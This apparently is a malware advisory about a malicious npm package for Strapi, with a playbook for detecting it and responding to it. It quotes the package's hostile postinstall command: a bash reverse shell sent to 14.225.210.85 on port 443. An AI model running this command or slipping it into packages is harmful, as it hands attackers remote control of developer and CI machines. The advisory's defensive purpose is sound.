What this malware does

[email protected] ships a postinstall lifecycle script (scripts.postinstall = node postinstall.js) that spawns /bin/bash via child_process.exec and runs bash -i > /dev/tcp/14.225.210.85/443 0>&1, opening an interactive reverse shell from the installer's host to 14.225.210.85 on TCP/443. The script also drops a marker file under /tmp. The behavior triggers automatically on npm install, granting full remote code execution on the installing developer or CI machine. The package self-describes as a reverse shell payload for Strapi.

Detection & response playbook

Backdoor / remote access
  1. Find it

    Search your lockfiles and build artifacts for strapi-plugin-revs01-meeb322k (version 3.6.8).

  2. If you installed it — respond

    strapi-plugin-revs01-meeb322k establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If strapi-plugin-revs01-meeb322k was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
